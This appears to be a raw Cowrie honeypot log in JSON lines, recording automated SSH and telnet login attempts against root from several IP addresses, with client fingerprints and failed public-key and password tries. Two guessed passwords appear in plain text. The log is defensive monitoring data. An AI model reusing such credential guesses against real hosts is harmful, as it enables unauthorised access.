{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:69:8e:d5:cc:55:30:7f:c9:22:3e:8e:e6:c7:58:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQa3aRJSf7NlOOvBVdcnslpl/bEsXXJavlOi5riH0hHpHQv7EkKAkWSXwlyuNM1pElqv/07LO9xO1bVphTrK9y11A8kIs1/XryTUuS2iZ2yjWt7+KW6Sa35C5cFDoxxM2eEgZvYfqWcnPZY3Ye4Wg4WHIQ1h0IH4Np/OkX0CS2quFt35B026Xw9VwUD1XJ34Lws+iXndZEl1DUNSYiWQcpehAkXVj1Or+eCdM69n7brD7BBTWVFdxeCEphPHZR4Dy+fVTFGkHiGR58IqI1saVwzCfW8dHhw9QtlQo176SeZLAQ8opd+wxuHanJ/r2eLCpHSMa3XCmDWvWgz+DjuWLf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:69:8e:d5:cc:55:30:7f:c9:22:3e:8e:e6:c7:58:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.129220Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:69:8e:d5:cc:55:30:7f:c9:22:3e:8e:e6:c7:58:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQa3aRJSf7NlOOvBVdcnslpl/bEsXXJavlOi5riH0hHpHQv7EkKAkWSXwlyuNM1pElqv/07LO9xO1bVphTrK9y11A8kIs1/XryTUuS2iZ2yjWt7+KW6Sa35C5cFDoxxM2eEgZvYfqWcnPZY3Ye4Wg4WHIQ1h0IH4Np/OkX0CS2quFt35B026Xw9VwUD1XJ34Lws+iXndZEl1DUNSYiWQcpehAkXVj1Or+eCdM69n7brD7BBTWVFdxeCEphPHZR4Dy+fVTFGkHiGR58IqI1saVwzCfW8dHhw9QtlQo176SeZLAQ8opd+wxuHanJ/r2eLCpHSMa3XCmDWvWgz+DjuWLf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.135968Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:bb:c4:c6:00:4d:cd:94:2a:65:e3:15:6d:b8:87:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXBT4KQYLSDE9hmVjiFCzJn4DsQc7H94sx66wq1eV+7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 91:bb:c4:c6:00:4d:cd:94:2a:65:e3:15:6d:b8:87:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.326069Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:bb:c4:c6:00:4d:cd:94:2a:65:e3:15:6d:b8:87:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXBT4KQYLSDE9hmVjiFCzJn4DsQc7H94sx66wq1eV+7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.329791Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:c3:b1:24:fa:00:ae:78:6d:ba:09:44:5a:32:25:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK+1NQ9VZBEUGNZGxm/8Z9ZQxGH4Z4l/cIK802SWgb33","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 96:c3:b1:24:fa:00:ae:78:6d:ba:09:44:5a:32:25:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.520363Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:c3:b1:24:fa:00:ae:78:6d:ba:09:44:5a:32:25:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK+1NQ9VZBEUGNZGxm/8Z9ZQxGH4Z4l/cIK802SWgb33","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.523873Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:75:eb:ec:4d:31:02:4f:d3:fb:5c:4e:85:84:ff:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwiCZiViB869Yq4NB7XBlDivWoxSy0nXRdU+vvq2xzouDrPo8BS5XZFP4oR6WSfk8oayKLcTnmBmWFitFUKGOoEy9aJx1uOXlkCFdIl9EOD7EjsiY/OzUpzLWDl/qUtVTkph5A5nsvj1/4FIDsUIhvUZS1t6fNPM8hK+cEEIJ7f8sWnQ0iS2r7qZxp9avz3Ry7d7GCLXFRkEJC3ZNJHkZPPuO9hrU7iU35neceyX4IT+MD/a1sLX0m/TCGzzckaKy1DdTQtKmUsoLsf3HEAjhQvlaDK5lFSSQTqGMrDklZYtofvxpGILY6VvQmDL4TR3wOdL3WadWv4kib98/b9suN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:75:eb:ec:4d:31:02:4f:d3:fb:5c:4e:85:84:ff:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.713652Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:75:eb:ec:4d:31:02:4f:d3:fb:5c:4e:85:84:ff:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwiCZiViB869Yq4NB7XBlDivWoxSy0nXRdU+vvq2xzouDrPo8BS5XZFP4oR6WSfk8oayKLcTnmBmWFitFUKGOoEy9aJx1uOXlkCFdIl9EOD7EjsiY/OzUpzLWDl/qUtVTkph5A5nsvj1/4FIDsUIhvUZS1t6fNPM8hK+cEEIJ7f8sWnQ0iS2r7qZxp9avz3Ry7d7GCLXFRkEJC3ZNJHkZPPuO9hrU7iU35neceyX4IT+MD/a1sLX0m/TCGzzckaKy1DdTQtKmUsoLsf3HEAjhQvlaDK5lFSSQTqGMrDklZYtofvxpGILY6VvQmDL4TR3wOdL3WadWv4kib98/b9suN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.716960Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:5b:03:d9:56:8a:a7:09:a3:2b:01:05:19:35:e5:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8RPuJGhNGXCNwzn4NAYYvNlA5yYEKrPUpz9JCNzwTl30hEUNBWcNaFv9YWRuZNInL/ahxngTAcLZP0aeHW5zWRK9g7Yidp55k97uMtQNr+tQR1/50dgm84HOCpR9kvU/di3yQuczwINkrYEwObg06xV8H1OqMLDVAeiOFS6PEHpZ1oj1+RPnZkPsnpuzNkNaHJQG5OSAzgsmuK7ehFa1NAms4RLcd5Y5RUfLHdEoJ2E6LATdaZ12Kx3STCN2GEaOlkwnifB72U4Bh+9JW+k96g3PJOCArH1Bzz4/V2eOIajoUBSRS6stxOEah+g68tiK83/xi1ZJxdFe3c/LD9UnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:5b:03:d9:56:8a:a7:09:a3:2b:01:05:19:35:e5:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.909832Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:5b:03:d9:56:8a:a7:09:a3:2b:01:05:19:35:e5:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8RPuJGhNGXCNwzn4NAYYvNlA5yYEKrPUpz9JCNzwTl30hEUNBWcNaFv9YWRuZNInL/ahxngTAcLZP0aeHW5zWRK9g7Yidp55k97uMtQNr+tQR1/50dgm84HOCpR9kvU/di3yQuczwINkrYEwObg06xV8H1OqMLDVAeiOFS6PEHpZ1oj1+RPnZkPsnpuzNkNaHJQG5OSAzgsmuK7ehFa1NAms4RLcd5Y5RUfLHdEoJ2E6LATdaZ12Kx3STCN2GEaOlkwnifB72U4Bh+9JW+k96g3PJOCArH1Bzz4/V2eOIajoUBSRS6stxOEah+g68tiK83/xi1ZJxdFe3c/LD9UnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:44.913677Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:36:45.108222Z","src_ip":"198.38.85.149","session":"47a2ea17ba9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":46522,"dst_ip":"10.17.0.5","dst_port":22,"session":"af75e3288d2d","protocol":"ssh","message":"New connection: 79.132.141.112:46522 (10.17.0.5:22) [session: af75e3288d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:01.554754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:01.560099Z","src_ip":"79.132.141.112","session":"af75e3288d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:01.650050Z","src_ip":"79.132.141.112","session":"af75e3288d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./123","message":"login attempt [root/zxcvbnm,./123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:02.039427Z","src_ip":"79.132.141.112","session":"af75e3288d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":58170,"dst_ip":"10.17.0.5","dst_port":22,"session":"07a7f5ee8df3","protocol":"ssh","message":"New connection: 43.153.54.120:58170 (10.17.0.5:22) [session: 07a7f5ee8df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:02.603308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:02.607624Z","src_ip":"43.153.54.120","session":"07a7f5ee8df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:02.675362Z","src_ip":"43.153.54.120","session":"07a7f5ee8df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"omsagent","message":"login attempt [root/omsagent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:02.977234Z","src_ip":"43.153.54.120","session":"07a7f5ee8df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:03.130388Z","src_ip":"79.132.141.112","session":"af75e3288d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:04.056933Z","src_ip":"43.153.54.120","session":"07a7f5ee8df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f30fe258616","protocol":"telnet","message":"New connection: 152.42.224.71:45526 (10.17.0.5:23) [session: 1f30fe258616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:04.351773Z"}
{"eventid":"cowrie.session.closed","duration":30.653537273406982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:07.593202Z","src_ip":"37.186.118.22","session":"6e894224d8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1ecaaeacea","protocol":"ssh","message":"New connection: 200.26.188.219:38860 (10.17.0.5:22) [session: 5b1ecaaeacea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:09.216532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:09.221085Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:09.354377Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:5d:23:8a:3a:1a:21:6a:32:51:ad:8a:5d:97:c5:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYtKDij4BmjB0crg/hdmIPGcLoPjq2CPOHGdktm5157gG088tmiUg5/X4VDRPb2DUS7uCkZfO/Fodgsj8YL5U0UIU45fW3E1VO08tUJatuAbxSzgVgH86bB3vAwbghsGnPfel741R7XCB27wEqt7VNkGmlY8BBND92NRXaXpsTVQsq3p3qzocZX0UgCOxlTSvGgaf9PfaQRniOrDYO1aQHFuDGeK74LAf1P+duy5LHCdZqGOvQxuAV9BCBf27/w7anjA4kJiXH4eCZ4+YkgJ+Oeg6krsRfHpE/lNoQ0FjvUAj40kydkdpRFqeshLdPwO6DyXlebn8SR7JbjWUlFp3n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:5d:23:8a:3a:1a:21:6a:32:51:ad:8a:5d:97:c5:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:09.985155Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:5d:23:8a:3a:1a:21:6a:32:51:ad:8a:5d:97:c5:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYtKDij4BmjB0crg/hdmIPGcLoPjq2CPOHGdktm5157gG088tmiUg5/X4VDRPb2DUS7uCkZfO/Fodgsj8YL5U0UIU45fW3E1VO08tUJatuAbxSzgVgH86bB3vAwbghsGnPfel741R7XCB27wEqt7VNkGmlY8BBND92NRXaXpsTVQsq3p3qzocZX0UgCOxlTSvGgaf9PfaQRniOrDYO1aQHFuDGeK74LAf1P+duy5LHCdZqGOvQxuAV9BCBf27/w7anjA4kJiXH4eCZ4+YkgJ+Oeg6krsRfHpE/lNoQ0FjvUAj40kydkdpRFqeshLdPwO6DyXlebn8SR7JbjWUlFp3n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:09.990004Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:b9:d6:72:1d:49:c4:78:8c:13:e0:f3:2f:de:98:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvOepOM88qQcGv93NdoopAryxccz5Vmz2PO65bY9oNd/bL3FQBxkpL8tNs+sBh0zRsNswPxleWz8fKdKFWa8GklRtHKd2p7AnanlGaOjjlmXXJf5i/g4uJWjRF8Kppcz8fyTZEWGyqQiDqUW0oruPceDWglMGUP5STeEpy70E9A8dgom+qNF+P1RmWg0TDPetVL2bE9qxrUzGPKlGWjy9YoYybUV5eEayOm/2PtXC28dIbOJN8+PZvgBVPBVN0funXjiE6X/xyACoOBvrZGKbiu0cCzY3S8EGCu2DU7zhIZrw8srFnJXmWf9a6pAt6beQ1oft9BbtoB0M7JmObp3PPQquMswIpQoxY3af0L7nkqxKMle5x66CSHthMOyoLDEwPoKs2cCXkntyhUUlHyiECCCMcmy8y0+qShZ6UohMgN8l33mOIbOESNONjxvIXN31kTpnIL68gB2xPCqybM4Lu0Gixjy9pCkjha6/gt0ZvffJTxoAS20tUAHmXNwpbvvU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:b9:d6:72:1d:49:c4:78:8c:13:e0:f3:2f:de:98:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.120615Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:b9:d6:72:1d:49:c4:78:8c:13:e0:f3:2f:de:98:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvOepOM88qQcGv93NdoopAryxccz5Vmz2PO65bY9oNd/bL3FQBxkpL8tNs+sBh0zRsNswPxleWz8fKdKFWa8GklRtHKd2p7AnanlGaOjjlmXXJf5i/g4uJWjRF8Kppcz8fyTZEWGyqQiDqUW0oruPceDWglMGUP5STeEpy70E9A8dgom+qNF+P1RmWg0TDPetVL2bE9qxrUzGPKlGWjy9YoYybUV5eEayOm/2PtXC28dIbOJN8+PZvgBVPBVN0funXjiE6X/xyACoOBvrZGKbiu0cCzY3S8EGCu2DU7zhIZrw8srFnJXmWf9a6pAt6beQ1oft9BbtoB0M7JmObp3PPQquMswIpQoxY3af0L7nkqxKMle5x66CSHthMOyoLDEwPoKs2cCXkntyhUUlHyiECCCMcmy8y0+qShZ6UohMgN8l33mOIbOESNONjxvIXN31kTpnIL68gB2xPCqybM4Lu0Gixjy9pCkjha6/gt0ZvffJTxoAS20tUAHmXNwpbvvU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.124539Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:31:38:32:01:61:e6:78:33:6d:76:5a:f6:35:af:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+eM33rvfhm5JZ0EEgfT7mbEQ4VBXH3aFlAGXHFIfkUUXsoPCZkw6iY5mILpqhz5YhCvH2B+MjZg4vNr8njk2YfsmqJ1c7A/998QMlELkUJasK7CjAqGc0hWB8EOAOc0USUt0n8Z8GQtaQXkgcoyeXP6VLgvBxTGqexWbdKhb1EXytXjwz/pVeb93DlX9vBhHcGBx/j3OM5+Xp4VmI/+cffx0X0zCWlx8H1Quzn6yYE3v85RYTsXyaaht+JMiOCqyVaousuVunBHZeJn094iQGIL0jic5vaCAJb1Udxzz9Kc+zgFjzGY0lTZ2LxOieh4qCcm1M5Swg4ZPkAXPnLRfYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:31:38:32:01:61:e6:78:33:6d:76:5a:f6:35:af:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.259978Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:31:38:32:01:61:e6:78:33:6d:76:5a:f6:35:af:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+eM33rvfhm5JZ0EEgfT7mbEQ4VBXH3aFlAGXHFIfkUUXsoPCZkw6iY5mILpqhz5YhCvH2B+MjZg4vNr8njk2YfsmqJ1c7A/998QMlELkUJasK7CjAqGc0hWB8EOAOc0USUt0n8Z8GQtaQXkgcoyeXP6VLgvBxTGqexWbdKhb1EXytXjwz/pVeb93DlX9vBhHcGBx/j3OM5+Xp4VmI/+cffx0X0zCWlx8H1Quzn6yYE3v85RYTsXyaaht+JMiOCqyVaousuVunBHZeJn094iQGIL0jic5vaCAJb1Udxzz9Kc+zgFjzGY0lTZ2LxOieh4qCcm1M5Swg4ZPkAXPnLRfYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:10.264569Z","src_ip":"200.26.188.219","session":"5b1ecaaeacea","protocol":"ssh"}
